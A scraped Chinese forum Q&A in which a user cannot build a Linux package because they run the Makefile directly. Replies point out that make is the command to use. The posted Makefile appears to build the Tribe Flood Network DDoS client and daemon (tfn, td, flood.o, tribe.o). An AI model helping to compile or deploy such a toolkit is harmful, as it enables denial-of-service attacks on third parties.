当前位置: 技术问答>linux和unix
有关linux的make文件编译问题
来源: 互联网 发布时间:2016-05-04
本文导语: 我现在编译一个linux下的软件包,一周前编译还可以,但是现在却无法编译了,提示很多错误,但是这些错误觉得又不错误,对make如何管理又不是很了解,请高手指点一下。 Makefile文件内容如下(比较长,请耐心...
我现在编译一个linux下的软件包,一周前编译还可以,但是现在却无法编译了,提示很多错误,但是这些错误觉得又不错误,对make如何管理又不是很了解,请高手指点一下。
Makefile文件内容如下(比较长,请耐心看一看):
# Linux / *BSD* / Others
CC = gcc
CFLAGS = -Wall -O3
CLIBS =
SERVER_OBJ = pass.o aes.o base64.o cast.o flood.o ip.o process.o tribe.o td.o
CLIENT_OBJ = pass.o aes.o base64.o cast.o ip.o tribe.o tfn.o
all: td tfn
clean:
@echo removing junk...
@rm -f tfn td mkpass disc pass.c *.exe *.o *~
tfn: agreed ${CLIENT_OBJ}
${CC} ${CFLAGS} ${CLIBS} ${CLIENT_OBJ} -o tfn
strip tfn
td: agreed ${SERVER_OBJ}
${CC} ${CFLAGS} ${CLIBS} ${SERVER_OBJ} -o td
strip td
agreed: disc
./disc
pass.c: mkpass
./mkpass
war:
@echo ...not love!
在命令行下输入./Makefile,出现错误如下:
/Makefile: line 2:CC:command not found
/Makefile: line 3:CFLAGS:command not found
/Makefile: line 4:CLIBS:command not found
/Makefile: line 5:CLIBS:command not found
/Makefile: line 7:SERVER_OBJ:command not found
/Makefile: line 8:CLIENT_OBJ:command not found
........
其中的CC应该是宏定义,即调用gcc编译器,此处该命令提示找不到,可以我在命令行下直接运行gcc却是没问题的。我对make不是很熟悉,网上一些资料解释不是很详细,请高手指点一下如何解决。
Makefile文件内容如下(比较长,请耐心看一看):
# Linux / *BSD* / Others
CC = gcc
CFLAGS = -Wall -O3
CLIBS =
SERVER_OBJ = pass.o aes.o base64.o cast.o flood.o ip.o process.o tribe.o td.o
CLIENT_OBJ = pass.o aes.o base64.o cast.o ip.o tribe.o tfn.o
all: td tfn
clean:
@echo removing junk...
@rm -f tfn td mkpass disc pass.c *.exe *.o *~
tfn: agreed ${CLIENT_OBJ}
${CC} ${CFLAGS} ${CLIBS} ${CLIENT_OBJ} -o tfn
strip tfn
td: agreed ${SERVER_OBJ}
${CC} ${CFLAGS} ${CLIBS} ${SERVER_OBJ} -o td
strip td
agreed: disc
./disc
pass.c: mkpass
./mkpass
war:
@echo ...not love!
在命令行下输入./Makefile,出现错误如下:
/Makefile: line 2:CC:command not found
/Makefile: line 3:CFLAGS:command not found
/Makefile: line 4:CLIBS:command not found
/Makefile: line 5:CLIBS:command not found
/Makefile: line 7:SERVER_OBJ:command not found
/Makefile: line 8:CLIENT_OBJ:command not found
........
其中的CC应该是宏定义,即调用gcc编译器,此处该命令提示找不到,可以我在命令行下直接运行gcc却是没问题的。我对make不是很熟悉,网上一些资料解释不是很详细,请高手指点一下如何解决。
|
不能直接运行Makefile,要用make命令
|
楼上说得没错。
开发必备技能: 懂得google搜索自己想要的东西
开发必备技能: 懂得google搜索自己想要的东西
|
看来楼主还是不太懂Makefile
|
如果只是为了在编译过程中互动的话,换个思路,
大可以再写多一个专门互动的程序,放于makefile中需要输入密码的程序之前运行,
这样的许,运行 make 也可以有互动的过程了。
大可以再写多一个专门互动的程序,放于makefile中需要输入密码的程序之前运行,
这样的许,运行 make 也可以有互动的过程了。